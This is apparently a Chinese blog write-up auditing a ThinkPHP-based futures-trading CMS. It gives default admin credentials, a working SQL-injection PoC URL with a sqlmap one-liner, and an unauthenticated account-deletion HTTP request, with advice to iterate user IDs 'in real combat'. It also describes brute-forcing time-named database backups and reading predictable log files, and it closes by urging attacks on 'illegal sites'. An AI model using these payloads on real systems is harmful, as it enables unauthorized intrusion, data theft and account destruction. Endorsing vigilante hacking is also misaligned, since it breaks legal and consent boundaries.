0x01 前言

code: https://github.com/huyiwill/weipan_qihuo

前期的一些了解:

基于ThinkPHP开发的 本能的想到前段时间的RCE

一看代码3.2.0的 打扰了。

0x02 过程

0x02_01 安装

该系统无自动安装程序 需手动修改\Application\Common\Conf\config.php文件中的配置。

后台:http://127.0.0.1/index.php/Admin/Index/index.html

管理账号 密码
wpadmin abc635241

初步看了一下代码

有点恶心...

0x02_02 前台注入

看到Application\Home\Controller\NewsController.class.php文件

<?php
namespace Home\Controller;
use Think\Controller;
class NewsController extends Controller {
public function newslist(){
    $fid=I('get.fid');
    $nlist=M('newsinfo')->where('ncategory='.$fid)->order('nid desc')->select();
    $newscat=M('newsclass')->where('fid='.$fid)->find();
    $this->assign('nlist',$nlist);
    $this->assign('newscat',$newscat);  
        $this->display();
}
public function newsid(){
    $nid=I('get.nid');
$newsid=M('newsinfo')->where('nid='.$nid)->find();
$this->assign('newsid',$newsid);
$this->display();
}
}

可以看到I函数tp内置的输入函数 默认的过滤方法是htmlspecialchars 其作用是把预定义的字符转换为 HTML 实体 具体如下:

事实证明除了htmlspecialchars之外 这个开发并没有添加其他过滤。那不就意味着可以构造畸形查询条件进行注入?

如图 可以注入

Poc:

http://127.0.0.1/index.php/Home/News/newsid.html?nid=8)%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x7,0x4,0x7),NULL,NULL,NULL,NULL--%20test%20---

懒人攻略:

python sqlmap.py -u  http://127.0.0.1/index.php/Home/News/newsid.html?nid=8 --dbs

0x02_03 任意帐号删除(无需后台权限)

看到Application\Admin\Controller\SuperController.class.phpsdel()函数(第161-172行)

//删除管理员
public function sdel()
{
    $user = D('userinfo');
    //单个删除
    $uid = I('get.uid');
    $result = $user->where('uid='.$uid)->delete();
    if($result!==FALSE){
        $this->success("成功删除管理员!",U("Super/slist"));
    }else{
        $this->error('删除失败!');
    }
}

需要了解的是该系统并未直接判断使用SuperController的权限 而是每执行一个操作之前使用checklogin()函数判断用户是否为登录状态。但是sdel()这个函数漏掉了!!!所以可以执行任意帐号删除

Poc:

GET /index.php/Admin/Super/sdel/uid/670.html HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/index.php/Admin/Super/slist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=test
Connection: close

(这里我新建出来的帐号的id是670 实战中遍历该id即可)

0x02_04 其他问题

备份遍历

看到Application\Admin\Controller\SuperController.class.phpbackupdb()函数的第210-215行

$filename = APP_PATH.'backup/'.date('Y-m-d_H-i-s').".sql"; //存放路径,默认存放到项目最外层
    //echo $filename;
    $fp = fopen($filename, 'w');
    fputs($fp, $mysql);
    fclose($fp);

可以看到备份的命名是去当前的时间来命名的 规律可循 可轻易爆破...

代码就不贴出来了 参考https://xz.aliyun.com/t/3788中的Poc编写方式 改一下就可以用。

日志泄漏

通过fileMonitor监控发现程序会写出日志到

\Application\Runtime\Logs\19_01_25.log

这样格式的文件 年月日 极其简单...

而且操作过程全写进去了...比上面的遍历数据库备份更容易 而且数据库备份的路径在日志里也可以找到...

0x03 总结

总体上来说这套CMS写得尼玛... 在网吧时间不自由 相信深入测试还能挖到更多的问题。对于非法站点 果断日!

文中用到的fileMonitor和MySQLMonitor均为审计辅助工具 后者笔者在网吧里对windows和Python2.7做了适配 配合使用辅助效果很不错吖。

https://github.com/TheKingOfDuck/FileMonitor

https://github.com/TheKingOfDuck/MySQLMonitor

源链接

Hacking more

...